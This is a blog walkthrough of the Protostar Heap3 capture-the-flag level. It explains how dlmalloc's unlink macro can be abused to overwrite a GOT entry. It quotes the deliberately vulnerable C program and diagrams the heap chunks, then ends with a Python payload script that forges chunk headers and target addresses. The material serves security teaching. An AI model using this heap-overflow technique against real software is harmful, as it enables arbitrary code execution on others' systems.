Binary Exploitation Protostar Heap3 - Walkthrough

Hello Guyz,



Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Heap3 Level.

In This Level, Our Task Is to perform exploitation using Heap Overflow Concept. Well, Guys Reality is, This level is really very hard for beginners but, guyz its really very interesting level. I will encourage you all to spend some time with this level, do some research about DLmallloc vulnerability, Read some research papers, analyse the actual source code on your own. In this level we are going to learn Dlmalloc vulnerability in old C language library. Actually, The Basic concept is here, With the help of dlmalloc automatic free space handling function, we can overwrite address in GOT table.


Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb
  • Do Some Research About Heap overflow exploitation.

Some Important Reference.
I will encourage you to understand these research papers.. it will help you in understand dlmalloc vulnerability concept.
Dlmalloc perceives the heap as a series of different chunks. The last chunk at the highest address of the heap is a special chunk called the wilderness chunk. The address at the very end of the heap, or the top of the wilderness chunk, is known as the program break. The heap can expand if necessary by calling brk() and sbrk() to increase the value of the program break. Each chunk can either be allocated or free. Allocated chunks look like the following (taken from MaXX’s article)

Source Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

Hint


1
2
3
This level introduces the Doug Lea Malloc (dlmalloc) and how heap meta data can be modified to change program execution.

This level is at /opt/protostar/bin/heap3

Plan

                   
    Here, we have to exploit.. Unlink algorithm, works under the free algorithm.
   
    Basically, Unlink algorithm merge to free deallocated space into one and during this merging, unlink overwrites the
    pointer of deallocated space. so, we have to use unlink writing facility to overwrite GOT table address.
   
    first, we have to create a illusion of 2 free deallocated space one after another.
   
    let's take a look of unlink heap chunk structure


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// --------------------------------------------------
//                           Source Code
// --------------------------------------------------
  a = malloc(32);
  b = malloc(32);
  c = malloc(32);
                      Location allocated One by one series wise.. 
                      Means, Previous one can overwrite current location.
       
       
       
  
  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);
                     Copying String Without any types of verification into space.
      
  .
  free(c);
  free(b);
  free(a);          
                    Deallocating space one by one.


Unlink Heap Structure

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 Allocated Chunk
 
     chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: size of the previous chunk, in bytes (used   |
             | by dlmalloc only if this previous chunk is free)        |
             +---------------------------------------------------------+
             | size: size of the chunk (the number of bytes between    |
             | "chunk" and "nextchunk") and 2 bits status information  |
      mem -> +---------------------------------------------------------+
             | fd: not used by dlmalloc because "chunk" is allocated   |
             | (user data therefore starts here)                       |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             | bk: not used by dlmalloc because "chunk" is allocated   |
             | (there may be user data here)                           |
             + - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
             |                                                         .
             .                                                         .
             . user data (may be 0 bytes long)                         .
             .                                                         .
             .                                                         |
nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
             | prev_size: not used by dlmalloc because "chunk" is      |
             | allocated (may hold user data, to decrease wastage)     |
             +---------------------------------------------------------+
    
    
    


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
    
    
    
 Deallocated Chunk

 
  chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: may hold user data (indeed, since "chunk" is |
             | free, the previous chunk is necessarily allocated)      |
             +---------------------------------------------------------+
             | size: size of the chunk (the number of bytes between    |
             | "chunk" and "nextchunk") and 2 bits status information  |
      mem -> +---------------------------------------------------------+
             | fd: forward pointer to the next chunk in the circular   |
             | doubly-linked list (not to the next _physical_ chunk)   |
             +---------------------------------------------------------+
             | bk: back pointer to the previous chunk in the circular  |
             | doubly-linked list (not the previous _physical_ chunk)  |
             +---------------------------------------------------------+
             |                                                         .
             .                                                         .
             . unused space (may be 0 bytes long)                      .
             .                                                         .
             .                                                         |
nextchunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
             | prev_size: size of "chunk", in bytes (used by dlmalloc  |
             | because this previous chunk is free)                    |
             +---------------------------------------------------------+

    
    



             Take a look at the following important parts of the Chunk_free() and the Unlink() macro before proceeding.

Important parts of the Chunk_free() function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
INTERNAL_SIZE_T hd = p->size;
 ...
 if (!hd & PREV_INUSE))     /* consolidate backward */    /* [A] */
 {
   prevsz = p->prev_size;
   p = chunk_at_offset(p, -(long)prevsz);                 /* [B] */
   sz += prevsz;
 
   if (p->fd == last_remainder(ar_ptr))
     islr = 1;
   else
     unlink(p, bck, fwd);
 }


 Unlink() macro:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 
 Unlink() macro:
 
#define unlink( P, BK, FD ) {            \
    BK = P->bk;                          \
    FD = P->fd;                          \
    FD->bk = BK;                         \
    BK->fd = FD; 
 
 
 

Exploit


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python
import struct
 
# readelf -Ws heap3 | grep winner
# winner = 0x0804c00c #   0x08048864 # winner function starting pointer
# GLOBAL TABLE POINTER OF PUTS
# puts = 0x0804b128 # objdump -R heap3

payload = ''
payload+= 'A'*12 +'\xcc'*10  +'\x90 ' #+ '\x65 '
payload+= 'B'*36+'\x65 '
payload+= 'C'*92
payload+= struct.pack('I', 0xfffffffc) 
payload+= struct.pack('I', 0xfffffffc)
payload+= struct.pack('I', 0x804b11c)
payload+= struct.pack('I', 0x804c014)



print payload


For More Detailed Walk through Check Below Provided YouTube Video Playlist



Share this

Related Posts

Previous
Next Post »